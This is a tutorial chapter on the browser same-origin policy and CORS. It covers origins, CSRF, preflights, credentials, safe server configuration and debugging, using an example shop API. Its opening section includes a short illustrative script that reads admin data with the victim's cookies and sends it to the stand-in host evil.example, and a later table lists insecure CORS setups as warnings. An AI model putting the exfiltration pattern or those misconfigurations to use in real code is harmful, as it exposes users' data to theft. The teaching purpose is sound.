Chapters

Same-origin policy & CORS

The Kadé website at kade.lk calls kade-api at api.kade.lk. The browser treats those as two different origins, and by default it will not let the page read the API's responses. This chapter explains the rule behind that, the CORS headers that relax it safely, and the bugs every web backend developer meets.

Application protocols · chapter 28 of 34 · 8 min read

Why browsers need a rule

Your browser is logged in to many sites at once: Kadé's admin panel, your bank, your email. Each has cookies the browser sends automatically (chapter 24). Now you open some random page, and its JavaScript runs:

const r = await fetch('https://admin.kade.lk/api/customers', { credentials: 'include' });
const data = await r.json();          // your admin cookie was attached…
sendTo('https://evil.example', data); // …and now every customer's details are stolen

If this worked, any website could read anything any other site shows you. The same-origin policy (SOP) is the browser rule that stops it: a page may freely read responses only from its own origin.

What an origin is

An origin is three things together: scheme + host + port. All three must match exactly. The path does not matter.

#Compared with https://kade.lkSame origin?Why
1https://kade.lk/orders/1042yesOnly the path differs
2https://api.kade.lknoDifferent host
3https://www.kade.lknoDifferent host (www counts)
4http://kade.lknoDifferent scheme
5https://kade.lk:8443noDifferent port (https means 443)
6http://localhost:3000noEverything differs: this is your local frontend in development

Check any pair yourself:

PartPageRequest
Schemehttpshttpssame
Hostkade.lkapi.kade.lkdifferent
Port443443same

Cross-origin: the page can read responses only if the server allows it with CORS. They are still same-site (kade.lk), so SameSite=Lax cookies are sent.

“Site” here uses the last two labels of the host. Real browsers use the Public Suffix List, which knows that names like .com.lk or .co.uk are suffixes too.

What the policy blocks, and what it allows

The same-origin policy is narrower than most people think. It mainly stops reading, not sending:

#A page on kade.lk tries to …Allowed?Notes
1Read the response of fetch() to api.kade.lkblocked, unless CORS allows itThis chapter's main topic
2Send a fetch() or form POST to api.kade.lkthe request is sentThe browser may just refuse to show the answer. See section 4.
3Show <img>, load <script>, CSS, fonts, video from another originyesIt can use them, but cannot read their raw bytes
4Read the page inside an <iframe> from another originblockedIt can show it, not look inside it
5Read another origin's localStorage or cookies from JavaScriptblockedStorage is kept per origin

"Sending is allowed": CSRF

Row 2 surprises people. A malicious page cannot read Kadé's responses, but it can make your browser send requests to Kadé, with your cookies attached. If kade-api changed something on such a request (POST /account/email), the damage is done even though the attacker never sees the reply. This is CSRF (cross-site request forgery).

CORS: the server opts in

CORS (Cross-Origin Resource Sharing) is how a server tells the browser "pages from these other origins may read my responses". The browser sends an Origin header saying where the page came from; the server answers with Access-Control-Allow-Origin:

page on kade.lk (browser)api.kade.lkGET /products · Origin: https://kade.lk200 OK · Access-Control-Allow-Origin: https://kade.lkthe browser checks the header: origin allowed, so JavaScript may read the body
  • The server only declares; the browser enforces. kade-api sends its answer either way. If the headers do not allow the page's origin, the browser hides the response from JavaScript and shows a CORS error in the console.
  • That is why curl and Postman never have CORS problems. They are not browsers and do not enforce the policy. "It works in Postman but not in the browser" is the classic CORS symptom.

Simple requests and preflights

For some requests the browser first asks permission with a preflight: an OPTIONS request describing what it wants to send. Only if the answer allows it does the real request go out. Requests that could already be made by an old-fashioned HTML form skip the preflight; these are called simple requests:

A request is "simple" only ifDetails
Method isGET, HEAD or POST
Headers are onlya small safe list (Accept, Accept-Language, Content-Language, Content-Type, and a few others). Authorization and any custom header (X-Request-Id …) are not on it.
Content-Type is one oftext/plain · multipart/form-data · application/x-www-form-urlencoded application/json is not on the list
So almost every real API call from kade.lk (JSON body, Bearer token) is preflighted.
page on kade.lk (browser)api.kade.lkfetch: PATCH /orders/1042, JSON body, Bearer token → not simple, so ask firstOPTIONS /orders/1042 · Origin · Request-Method: PATCH · Request-Headers: authorization, content-type204 · Allow-Origin · Allow-Methods · Allow-Headers · Max-Age: 600permission granted, and cached for 10 minutesPATCH /orders/1042 · Authorization · Origin200 OK · Access-Control-Allow-Origin: https://kade.lkthe page reads the result
HeaderMeaning
Access-Control-Request-Method: PATCH(preflight request) "the real request will be a PATCH"
Access-Control-Request-Headers: authorization, content-type(preflight request) "and it will carry these headers"
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE(preflight response) methods allowed
Access-Control-Allow-Headers: authorization, content-type(preflight response) headers allowed
Access-Control-Max-Age: 600(preflight response) cache this answer for 10 minutes, so the next calls skip the preflight
Every preflight costs one extra round trip (41 ms from home, chapter 13). Max-Age matters for performance.

Try it: will this request work?

kade-api allows https://kade.lk and https://admin.kade.lk, with credentials, the methods GET/POST/PATCH/DELETE and the headers Authorization and Content-Type. Build a request from a page and follow the browser's steps:

Page origin
Method
Body type
  1. Cross-origin (https://kade.lk → https://api.kade.lk). The browser adds Origin: https://kade.lk.
  2. This is a simple request: no preflight. The request goes straight to kade-api.
  3. Response has Access-Control-Allow-Origin: https://kade.lk. The page may read the reply. (No cookies were sent: credentials were not requested.)

The page gets the response.

Credentials: cookies across origins

By default a cross-origin fetch() sends no cookies. To send them, the page asks with credentials: 'include', and the server must agree more strictly:

Access-Control-Allow-Credentials: trueRequired, or the browser hides the response
Access-Control-Allow-Origin: https://kade.lkMust be the exact origin. * is not allowed with credentials.
The cookie's own SameSite ruleStill applies. kade.lk → api.kade.lk is same-site, so a SameSite=Lax cookie is sent. A truly cross-site caller (another domain) needs SameSite=None; Secure.

Reading response headers

Even when CORS allows the response, JavaScript can only read a few "safe" response headers (Content-Type, Cache-Control and a handful more). If kade-api sends X-Total-Count for pagination, or Location after creating an order, it must list them:

Access-Control-Expose-Headers: X-Total-Count, Location

Configuring kade-api safely

const ALLOWED = new Set(['https://kade.lk', 'https://admin.kade.lk']);
if (process.env.NODE_ENV !== 'production') ALLOWED.add('http://localhost:3000');

app.use(cors({
  origin: (origin, cb) => cb(null, !origin || ALLOWED.has(origin)),  // exact matches only
  credentials: true,
  methods: ['GET', 'POST', 'PATCH', 'DELETE'],
  allowedHeaders: ['Authorization', 'Content-Type'],
  exposedHeaders: ['X-Total-Count', 'Location'],
  maxAge: 600,
}));
#MistakeWhy it is dangerous
1Copying the request's Origin back into Allow-Origin, with credentialsEvery website becomes "allowed", with your users' cookies. The same as having no policy.
2Checking origins with "ends with kade.lk" or a loose regexhttps://evilkade.lk or https://kade.lk.evil.example passes. Compare exact strings.
3Allowing the origin nullSandboxed iframes and local files send Origin: null, and attackers can produce it too
4Allowing localhost in productionAny program on a user's machine can serve localhost
5Forgetting Vary: Origin when the answer depends on the originA cache or CDN may store the response allowed for one origin and serve it to another. Most CORS libraries add it.

Debugging CORS errors

The browser console only says "blocked by CORS policy". The real cause is usually one of these:

#SymptomReal causeFix
1Preflight fails with 401The auth middleware runs before CORS and rejects the OPTIONS request, which never carries the tokenAnswer OPTIONS before authentication
2Preflight fails with 404 or 405No route handles OPTIONSLet the CORS middleware answer it
3"Redirect is not allowed for a preflight request"http → https or a trailing-slash redirect on the APICall the final URL directly
4A 500 shows up as a CORS errorThe error handler sends a response without CORS headers, so the browser hides itAdd CORS headers to error responses too; check the Network tab, not the console
5"Wildcard '*' cannot be used … credentials"Allow-Origin: * with credentials: includeReturn the exact origin
6Works locally, fails in productionA proxy, load balancer or CDN in front strips or caches the headersCheck the headers the browser actually received
In DevTools, the preflight appears as its own OPTIONS row in the Network tab. Look at its status and response headers first.

What CORS is not, and a way to avoid it

  • Not server protection. curl, scripts and other servers ignore it entirely. Authentication and authorization still protect kade-api.
  • Not CSRF protection (section 4).
  • Not for WebSockets. Browsers do not apply CORS to them; check Origin in the handshake yourself (chapter 26).
  • Avoiding it: if the site and the API share one origin, there is nothing to configure. A load balancer can serve both from https://kade.lk, sending /api/* to kade-api and everything else to the frontend. No CORS headers, no preflights, no extra round trips.
#MechanismWhat it controls
1SameSite cookiesWhether cookies go along on cross-site requests (chapter 24, section 4 above)
2CSP (Content-Security-Policy)Which scripts, styles and servers your own page may load or talk to. Limits the damage of injected scripts (XSS).
3X-Frame-Options / CSP frame-ancestorsWhether other sites may put your page in an iframe (stops clickjacking on the admin panel)
4CORP, COOP, COEPNewer headers that isolate a site's resources and windows from other origins

Summary

#IdeaIn one lineNew terms
1WhyStop one site's scripts reading another site's data using your cookiessame-origin policy
2OriginScheme + host + port, exactly; a site is looser (kade.lk and api.kade.lk are same-site)origin, site
3-4RulesReading is blocked; sending is not, hence CSRFCSRF
5CORSOrigin → Access-Control-Allow-Origin; the browser enforcesCORS
6PreflightOPTIONS first for non-simple requests (JSON, Authorization); cache with Max-Agesimple request, preflight
8-9Credentials, exposureAllow-Credentials + exact origin; Expose-Headers for custom headers
10-11PracticeExact allowlist, Vary: Origin; OPTIONS before auth; CORS on error responses
12-13LimitsNot auth, not CSRF defence, not WebSockets; same origin avoids it; CSP and friendsCSP

Try it yourself

A preflight, by hand

curl -i -X OPTIONS https://api.kade.lk/orders -H 'Origin: https://kade.lk' -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: authorization,content-type'

What kade-api says to a stranger

  • Steps: Same command with -H 'Origin: https://evil.example'
  • What to look for: No Access-Control-Allow-Origin header at all.
  • From section: 10. Configuring kade-api safely
-H 'Origin: https://evil.example'

A simple request's CORS headers

curl -i https://api.kade.lk/health -H 'Origin: https://kade.lk'

The browser's view

  • Steps: DevTools → Network → the OPTIONS row → Headers
  • What to look for: Status, and whether the allow headers match what the real request needs.
  • From section: 11. Debugging CORS errors

The policy in action

  • Steps: DevTools console on any site: fetch('https://example.com').then(r => r.text())
  • What to look for: A CORS error, even though the Network tab shows the request succeeded.
  • From section: 1. Why browsers need a rule
fetch('https://example.com').then(r => r.text())

Spotted a mistake, or something unclear? Suggest an edit on GitHub